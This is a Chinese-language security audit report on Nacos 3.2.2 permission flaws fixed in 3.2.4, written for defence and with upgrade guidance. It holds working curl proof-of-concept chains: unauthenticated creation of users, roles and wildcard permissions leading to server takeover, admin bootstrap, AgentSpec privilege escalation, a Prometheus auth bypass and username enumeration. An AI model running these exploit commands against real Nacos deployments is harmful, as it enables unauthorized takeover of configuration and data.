Nacos 3.2.2 → 3.2.4 权限漏洞与升级-安全审计报告
分析日期:2026-08-28
分析对象:\nacos(3.2.2,当前部署版) vs\nacos-3.2.4(最新发布版)
核心结论:3.2.2 存在「未授权自建管理员账户并接管服务端」的严重权限漏洞,3.2.4 已修复。
一、核心漏洞:鉴权管理接口作用域错配 → 未授权自建管理员接管服务端
1.1 漏洞一句话
Nacos 3.2.2 中,用户/角色/权限管理接口(/v3/auth/user、/v3/auth/role、/v3/auth/permission)的 @Secured 注解没有指定 apiType,默认为 OPEN_API 作用域。而 Nacos 3.x 中 OPEN_API 作用域鉴权默认关闭(nacos.core.auth.enabled=false),导致这些管理接口在默认配置下完全不经过鉴权——任何未登录攻击者都可以创建用户、绑定角色、授权通配权限,最终自建出管理员权限的账户并接管服务端。
1.2 ✅ 已在本机 3.2.2 复现验证
复现环境:本地源码构建的 Nacos 3.2.2 standalone(默认配置
nacos.core.auth.enabled=false),2026-08-28 实测。
PoC 脚本:\nacos-poc.sh(bash nacos-poc.sh [host] [port],每次运行自动生成唯一攻击者账号)。
实测结果(全部 7 步通过):
| 步骤 | 操作 | 未带任何 token 的结果 |
|---|---|---|
| ① | POST /v3/auth/user 创建用户 |
✅ create user ok! |
| ② | POST /v3/auth/role 绑定角色 |
✅ add role ok! |
| ③ | POST /v3/auth/permission 授予 public:*:* rw |
✅ add permission ok! |
| ④ | POST /v3/auth/user/login 登录 |
✅ 返回 JWT accessToken |
| ⑤ | POST /v3/admin/cs/config 写入配置 |
✅ data:true |
| ⑥ | GET /v3/admin/cs/config 读回配置 |
✅ content=owned_by_attacker |
| ⑦ | GET /v3/auth/user/list 等 |
✅ 攻击者账号/角色/权限均已在册 |
关键证据:步骤 ①②③ 全程未携带任何 Cookie/Token/Authorization 头,服务端直接执行业务逻辑返回成功——证明这些管理接口在默认配置下完全无鉴权。
复现中发现的两个运行时细节(不影响漏洞判定):
conf/application.properties中nacos.core.auth.enabled=false需通过--spring.config.additional-location=file:<nacos-home>/conf/(必须带file:前缀)才能生效,否则会使用 jar 内嵌默认值true。- 用户缓存每 ~15s 刷新(
AbstractCachedUserService.@Scheduled),新建用户登录需等缓存刷新(PoC 已加重试)。
1.3 修复提交
| 提交 | 标题 | 说明 |
|---|---|---|
8e1b71ed5 |
refactor(auth): add ApiType.ADMIN_API to secured annotations (#15563) | 给 3 个管理控制器补 apiType = ApiType.ADMIN_API |
1.3 根因详解(双作用域鉴权机制)
Nacos 3.x 引入 按 API 类型区分鉴权作用域 的机制,有两个 HTTP 鉴权过滤器,通过 @Secured.apiType 分流:
AuthFilter .isMatchFilter() → !ADMIN_API.equals(apiType) ← 处理 OPEN_API / CONSOLE_API / INNER_API
AuthAdminFilter .isMatchFilter() → ADMIN_API.equals(apiType) ← 仅处理 ADMIN_API
两个作用域各自有独立的「鉴权是否开启」开关,默认值恰好相反:
| 作用域 | 配置项 | 默认值 | 说明 |
|---|---|---|---|
| OPEN_API | nacos.core.auth.enabled |
false |
客户端 SDK/gRPC 请求的 RBAC 开关 |
| ADMIN_API | nacos.core.auth.admin.enabled |
true |
管理接口强制鉴权 |
该设计在官方 distribution/conf/application.properties 中明确注释:
# Enable this together with nacos.core.auth.admin.enabled when client-side SDK/gRPC requests also need RBAC checks.
nacos.core.auth.enabled=false
nacos.core.auth.admin.enabled=true
3.2.2 的缺陷:UserControllerV3 / RoleControllerV3 / PermissionControllerV3 的 @Secured 未指定 apiType → 默认 OPEN_API → 走 AuthFilter → isAuthEnabled() 读 nacos.core.auth.enabled = false(默认)→ 过滤器直接 chain.doFilter() 跳过全部认证与授权 → 请求直达控制器。
// 3.2.2 —— 缺陷代码(apiType 缺失,默认为 OPEN_API)
@PostMapping
@Secured(resource = "console/users", action = ActionTypes.WRITE) // ← 没有 apiType
public Result<String> createUser(@RequestParam String username, @RequestParam String password) { ... }
// 3.2.4 —— 修复代码(显式指定 ADMIN_API)
@PostMapping
@Secured(resource = "console/users", action = ActionTypes.WRITE,
apiType = ApiType.ADMIN_API) // ← 走 AuthAdminFilter,admin.enabled=true 始终鉴权
public Result<String> createUser(@RequestParam String username, @RequestParam String password) { ... }
3.2.4 的修复:apiType = ADMIN_API → 走 AuthAdminFilter → isAuthEnabled() 读 nacos.core.auth.admin.enabled = true(默认)→ 始终鉴权,非管理员一律拒绝。
1.4 攻击效果
在默认配置(nacos.core.auth.enabled=false)的 3.2.2 上:
- 未登录即可调用创建用户接口;
- 未登录即可调用绑定角色接口;
- 未登录即可调用授权接口,给角色授予
public:*:*(所有命名空间/资源)读写权限; - 攻击者得到一个拥有全部数据读写权限的账户,可接管服务端所有配置与服务;
- 若实例是全新部署且尚未初始化 admin,还可直接调用
POST /v3/auth/user/admin创建默认管理员nacos并拿到ROLE_ADMIN(该引导接口本就不带 @Secured,但正常流程要求先初始化)。
1.5 完整利用路径(PoC,默认配置即中招)
NA_HOST="http://<nacos-host>:8848/nacos"
# contextPath 默认 /nacos,按实际部署调整
# ── 第 1 步:未授权创建用户(无需任何 token)
curl -s -X POST "$NA_HOST/v3/auth/user" \
-d "username=hacker&password=hacker123"
# → 3.2.2: 200 "create user ok!" (漏洞!)
# → 3.2.4: 401/403 (修复生效)
# ── 第 2 步:未授权创建一个角色
curl -s -X POST "$NA_HOST/v3/auth/role" \
-d "role=hacker_role&username=hacker"
# → 3.2.2: 200 "add role ok!"
# ── 第 3 步:未授权给该角色授予所有资源读写权限
curl -s -X POST "$NA_HOST/v3/auth/permission" \
-d "role=hacker_role&resource=public:*:*&action=rw"
# → 3.2.2: 200 "add permission ok!"
# ── 第 4 步:登录拿到 token
TOKEN=$(curl -s -X POST "$NA_HOST/v3/auth/user/login" \
-d "username=hacker&password=hacker123" \
| python3 -c "import sys,json;print(json.load(sys.stdin).get('accessToken'))")
# ── 第 5 步:以该账户读写任意命名空间的配置/服务(接管数据面)
curl -s "$NA_HOST/v3/client/cs/config?dataId=xxx&group=yyy&namespaceId=public" \
-H "Authorization: Bearer $TOKEN"
# ── 补充:全新实例未初始化 admin 时,直接创建默认管理员
curl -s -X POST "$NA_HOST/v3/auth/user/admin?password=evilpass"
# → 创建 nacos 账户 + ROLE_ADMIN,可登录控制台完全接管
# ── 其它同样受影响的管理接口(3.2.2 中同样无鉴权)
# DELETE /v3/auth/user?username=... 删除任意用户
# DELETE /v3/auth/role?role=...&username=... 解绑/删除角色
# GET /v3/auth/user/list 遍历全部用户
# GET /v3/auth/role/list 遍历全部角色
# GET /v3/auth/permission/list 遍历全部权限
1.6 修复后验证
# 未登录直接创建用户 → 3.2.4 返回 401/403
curl -s -o /dev/null -w "%{http_code}\n" -X POST "http://<nacos-host>:8848/nacos/v3/auth/user" \
-d "username=test_hacker&password=x"
# → 3.2.4: 401 或 403(不再 200)
# 用普通用户(非 admin)创建角色 → 同样被拒
1.7 受影响面(3.2.2)
plugin-default-impl/nacos-default-auth-plugin/.../controller/v3/ 下三个控制器全部受影响:
| 接口 | 方法 | 作用 |
|---|---|---|
POST /v3/auth/user |
createUser | 创建用户 |
DELETE /v3/auth/user |
deleteUser | 删除用户 |
PUT /v3/auth/user |
updateUser | 修改密码 |
GET /v3/auth/user/list |
getUserList | 遍历用户 |
GET /v3/auth/user/search |
searchUser | 搜索用户 |
POST /v3/auth/role |
createRole | 创建角色/绑定用户 |
DELETE /v3/auth/role |
deleteRole | 删除角色 |
GET /v3/auth/role/list |
getRoleList | 遍历角色 |
POST /v3/auth/permission |
createPermission | 授权 |
DELETE /v3/auth/permission |
deletePermission | 撤销权限 |
GET /v3/auth/permission/list |
getPermissionList | 遍历权限 |
1.8 特别注意
- 即使部署方手动设置了
nacos.core.auth.enabled=true,本漏洞在「开启 open API 鉴权」的部署中不触发;但凡是按默认配置运行、或把 open API 放开(auth.enabled=false)的部署,全部中招。而nacos.core.auth.admin.enabled默认true本意就是要保护管理接口,3.2.2 的错误分类使其失效。 POST /v3/auth/user/admin引导接口本身不带@Secured(两个版本一致),仅应在尚无任何 admin 用户时可用;这是设计行为,但请务必在初始化后确认该接口已返回 409。
二、漏洞 2:AI AgentSpec 等资源级鉴权失效 → 水平越权
补充漏洞(真实存在,但非本次「自建管理员」主因)
2.1 根因
3.2.2 的 AiHttpResourceParser:
public static final String AGENT_SPEC_PATH = "/ai/agentSpec"; // ← 与真实路由 /ai/agentspecs 不一致(大小写+缺 s)
// getResourceName 用 url.contains(AGENT_SPEC_PATH) 匹配 → 永远匹配不上 → 资源名为空
空资源名在 AbstractCheckedRoleService.joinResource() 中被拼成通配符 public:*:ai/*,资源级 ACL 退化为类型级——任何持有 AI 类通配权限的用户可操作任意 AgentSpec。
同时 HttpProtocolAuthService.parseResource() 会忽略控制器显式指定的自定义 parser,且 useSpecifiedParserToParse() 解析失败时返回 Resource.EMPTY_RESOURCE(fail-open,拼出 public:*:/*)。
2.2 修复(提交 059799c5e)
- 修正路径常量为
/ai/agentspecs,改用完整路径段匹配(防前缀伪造); - 新增
AgentSpecCardHttpResourceParser/AgentSpecNameHttpResourceParser解析真实资源名,控制器显式指定parser; - 显式 parser 优先于 signType 默认 parser;
- 解析器初始化失败改为抛异常(fail-closed)。
2.3 利用路径(概要)
# 持有任意 AI 类权限的已登录用户 → 越权操作任意名称的 AgentSpec
curl -s "$NA_HOST/v3/console/ai/agentspecs?agentSpecName=victim-agent&namespaceId=public" \
-H "Authorization: Bearer $TOKEN" # 3.2.2 越权读取
curl -s -X PUT "$NA_HOST/v3/console/ai/agentspecs/draft" \
-H "Authorization: Bearer $TOKEN" \
-d '{"agentSpecCard":"{\"name\":\"victim-agent\",...}"}' # 3.2.2 越权篡改
三、漏洞 3:Prometheus 子路径认证/鉴权绕过
补充漏洞
3.1 根因
PrometheusAuthFilter 的 4 个 Spring Security 过滤器在 3.2.2 中只注册在基础路径 /prometheus(精确匹配),子路径完全不过过滤器:
// 3.2.2
registration.addUrlPatterns(PROMETHEUS_CONTROLLER_PATH); // 只匹配 /prometheus,不匹配 /prometheus/namespaceId/...
3.2 利用路径
# 无需任何认证直接读取服务指标(实例 IP/端口/元数据)
curl -s "http://<nacos-host>:8848/nacos/prometheus/namespaceId/public/service/user-service"
3.3 修复(059799c5e)
// 3.2.4
registration.addUrlPatterns(PROMETHEUS_CONTROLLER_PATH, PROMETHEUS_CONTROLLER_PATH + "/*");
四、漏洞 4:登录接口用户名枚举
提交
544352de8(#15682)
3.2.2 中用户不存在抛 UsernameNotFoundException(→500/不同报文),密码错误抛 AccessException(→403),可区分枚举用户名。3.2.4 统一为相同 403 + 相同报文,并跳过未知用户的密码哈希计算。
curl -s -o /dev/null -w "%{http_code}" -X POST "$NA_HOST/v3/auth/user/login" \
-d "username=nobody123&password=x" # 3.2.2: 500(不存在) vs 403(存在)
五、其他配套安全修复
| 提交 | 内容 |
|---|---|
059799c5e |
Console 集群/容量/加载器接口 signType 修正(CONFIG→CONSOLE);Plugin 可用性集群请求补鉴权;AgentSpec 资源解析修复 |
68d13fcee (#15742/43) |
Console 维护客户端调用者身份转发,防身份伪造/串号 |
cd6f5b0f3 (#15476) |
Prompt 可见性校验修复 |
2f284091d (#15560) |
MCP 工具透传鉴权持久化 |
ebc3ca43b (#15687) |
JRaft gRPC 请求服务端身份认证 |
a0afcfe59 (#15688) |
context-path URI 解析对齐 |
六、升级注意事项(3.2.4 breaking changes)
- Prometheus 子路径现在强制认证——监控采集端需补充
basic_auth/token。 - 被废弃的 v3 AI 旧 API 默认返回
HTTP 410 Gone(nacos.core.api.compatibility.enabled=true可临时开启)。 - 私有 MCP 工具导入需要 allowlist:
nacos.console.ai.mcp.import.allowed-private-addresses。 - JRaft gRPC 服务端身份认证要求集群
nacos.core.auth.server.identity.key/value一致。
七、建议行动清单(紧急)
- [ ] 生产环境立即升级到 3.2.4(本漏洞在默认配置下可直接接管服务端)。
- [ ] 升级前排查入侵痕迹:审计
/v3/auth/user|role|permission是否有异常 POST 记录、是否存在非预期用户/角色/权限。 - [ ] 升级后验证
POST /v3/auth/user未授权返回 401/403。 - [ ] 检查
nacos.core.auth.admin.enabled保持true,并确认nacos.core.auth.enabled的配置符合预期。 - [ ] 升级后轮换所有账户口令。
- [ ] 确认
POST /v3/auth/user/admin引导接口已返回 409(admin 已存在)。